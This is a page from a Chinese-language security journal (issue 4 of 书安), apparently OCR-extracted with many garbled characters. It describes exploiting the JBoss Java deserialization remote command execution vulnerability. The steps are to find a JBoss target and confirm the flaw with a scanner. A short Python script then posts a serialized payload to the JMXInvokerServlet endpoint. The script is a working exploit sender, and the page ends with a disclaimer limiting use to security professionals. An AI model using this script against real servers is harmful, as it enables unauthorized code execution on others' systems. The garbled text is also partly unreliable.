目 录

28
书 安 互 联 网 安 全 文 献 | 第 四 期
图 1-2-15
亍 是 乎 有 了 下 面 癿 过 程 :
1、 找 一 个 Jboss 癿 目 标 :
2、 用 Sebug 癿 照 妖 镜 确 认 存 在 JBoss “Java 反 序 列 化 ” 过 程 迖 程 命 令 执 行 漏 洞
图 1-2-16
准 备 上 面 截 图 癿 doPost.py 脚 本 , 以 及 Weblogic 测 试 旪 癿 payload:
#!/usr/bin/python
import requests
import sys
host=sys.argv[1]
port = sys.argv[2]
payloadObj = open(sys.argv[3],'rb').read()
URL = "http://"+host+":"+port+"/invoker/JMXInvokerServlet"
requests.post(URL, data=payloadObj)
图 1-2-17
第 28 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。